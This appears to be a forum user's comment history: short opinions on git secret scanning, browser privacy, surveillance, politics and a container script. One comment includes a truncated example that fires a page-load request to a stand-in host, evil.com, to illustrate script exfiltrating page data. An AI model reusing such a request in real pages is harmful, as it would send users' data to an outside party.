tremon

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by tremon 2mo ago
It's not necessary to perform secret scanning on a per-commit basis. The most efficient way is to just scan all blob objects being pushed; there is no reason to even be aware of an object's location (tree path or commit) except fo
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by tremon 2mo ago
Whereas vassals are countries that you draft to help you in war?
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by tremon 2mo ago
Why is Github talking about number of commits here, and not pushes? Are there a lot of tools/people using github as an online editing platform?
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by tremon 2mo ago
> What if [..] treat myself [vs] treat others? There's an obvious asymmetry in your rephrasing. The parents quote says "do unto others as they do unto you", not as you do to yourself. If you treat yourself terrible and h
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by tremon 2mo ago
Free markets are also designed around participants of equal or comparable power. As long as market power is as skewed as it currently is, there are a lot of things wrong with making money that way.
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by tremon 2mo ago
I don't need to think, I can just look up their definitions: https://en.wikipedia.org/wiki/Declaration_(computer_programm... : > a declaration in a syntactic language construct is the process of specifying ident
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by tremon 2mo ago
Make Europe Nationalistic Again?
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by tremon 2mo ago
That's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language: <body onLoad="http.GET('http://evil.com/"+
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by tremon 2mo ago
I want my browser to prevent random extensions from directly reading web page data I also want my browser to prevent random third-party javascript from doing the same. And I care more about that one, because as a user I don't have co
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by tremon 2mo ago
Indeed, they are not committing a crime here. They are not discussing illegal shit, they are merely talking about discussing illegal shit, and that is still protected by the First Amendment.
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by tremon 2mo ago
How, exactly, are these the same people?
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by tremon 2mo ago
Seems to me that as long as parallel construction doesn't lead to long prison sentences for the perpetrators, you should assume it's ordinary practice. Police and other surveillance authorities have zero legal reason to take the
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by tremon 2mo ago
> If the right can learn to tolerate different opinions that they find offensive Ah look, it's the hallmark of well-reasoned thinking. I have seen this exact phrasing numerous times over the past week, did the bots learn a new talki
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by tremon 2mo ago
That's ok, total ecosystem collapse will also reduce the human population.
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by tremon 2mo ago
What's a "sustainable" fertility rate to you? Given that the current human biomass is completely unprecedented in all of history and is only made possible by artificial energy inputs (fossil fuels and ammonia/fertilizer)
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by tremon 2mo ago
I only use the mobile handheld scanner version. If someone has to go through all my items and scan them at the terminal, it's not going to be me; store clerks can do that much faster than I can.
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by tremon 2mo ago
it's a country and a nation, but not a nation state.
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by tremon 2mo ago
"has nothing to do with it" is not the same as "is not the cause of". Trump and antivax definitely are related as both are symptoms of the same public strategy that spreads misinformation, polarizes discourse and weaponi
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by tremon 2mo ago
All of those considerations are predicated on having the printing press first. There is little value in advanced literacy if written knowledge is rare or hard to come by. There is no need for licensing if verbatim copying takes a lifetime r
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by tremon 2mo ago
It's not an invasion, it's a special drilling operation.
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by tremon 2mo ago
I don't see the contradiction. "Who's going to stop me?" implies that the expectation is for no one to stop him. But when someone eventually does, it's TACO time.
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by tremon 2mo ago
And soon also Nexar, Uber and Lyft: https://www.techtimes.com/articles/323541/20260807/flock-sec... It's only a matter of time before every self-driving vehicle will have its cameras used for surveillanc
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by tremon 2mo ago
> I have not received a single unsolicited call from a reputable company. Yet you receive 20 spam calls a day through a known company, namely your phone provider. The way to solve this is to forcibly draft the providers into this; for
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by tremon 2mo ago
Just for reference, here's my local "devcontainer" script: exec podman container run --rm --read-only --network=llm \ --tmpfs=/tmp:size=128M \ --volume="$1":/workspace \ --entrypoint=/
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by tremon 2mo ago
> a lot of philosophy is actually bullshit > How would you expect me to defend it? It's my opinion One of the first useful things that philosophy teaches you is how to construct a well-rounded argument in support of any position.
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by tremon 2mo ago
Certainly! And probably a multitude of other devices and phone apps as well.
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by tremon 2mo ago
It's not that useful to single out Flock for that purpose. Google Nest and Amazon Alexa are also in that category.
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by tremon 2mo ago
Indeed, this is a great example of how the EU manages to grow its internal market.
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by tremon 2mo ago
> Apple's App Store that prohibits astrology apps That's curious. What legitimate-sounding reason could Apple have to reject astrology on their platform? Isn't this exactly the kind of discrimination against fields of ende
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by tremon 2mo ago
E2E encryption is meaningless for an e-mail hosting provider; they are by necessity one of the E's.

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